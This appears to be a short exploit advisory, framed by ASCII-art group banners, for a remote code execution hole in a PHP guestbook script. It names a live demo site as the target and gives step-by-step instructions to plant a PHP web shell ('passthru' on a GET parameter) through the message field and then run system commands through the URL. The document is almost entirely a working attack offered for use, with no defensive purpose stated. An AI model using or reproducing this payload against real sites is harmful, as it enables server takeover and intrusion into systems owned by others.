_____ ____ __ __ _ ____ ____ ____ |_ _| | _ \ \ \ / / / \ / ___| / ___| / ___| | | | |_) | \ V / / _ \ | | _ | | | | | | | _ < | | / ___ \ | |_| | _ | |___ | |___ |_| |_| \_\ |_| /_/ \_\ \____| (_) \____| \____| FREEsimplePHPguestbook (guestbook.php) Remote Code Execution Vulnerability Get Script : http://www.sanusart.com/php/FREEsimplePHPguestbook.zip Live Deom : http://www.sanusart.com/php/test/guestbook/guestbook.php Exploit : Go http://www.sanusart.com/php/test/guestbook/guestbook.php In ->> Name (required): Write ->> Mahmood In ->> Web site (without http://): Write ->> http://tryag.cc In ->> Message: Write ->> <? passthru($_GET[tryag]); ?> After All This Go > http://www.sanusart.com/php/test/guestbook/guestbook.php?tryag=id See Pictures : 1- http://up1.mlfnt.net/images/7kzeu9l8hdjynjud062.png 2- http://up1.mlfnt.net/images/rhcuudvtuzv1i62ovp.png ____ _ _ __ __ / ___| ___ | | __| | | \/ | | | _ / _ \ | | / _` | | |\/| | | |_| | | (_) | | |___ | (_| | | | | | \____| \___/ |_____| \__,_| _____ |_| |_| |_____|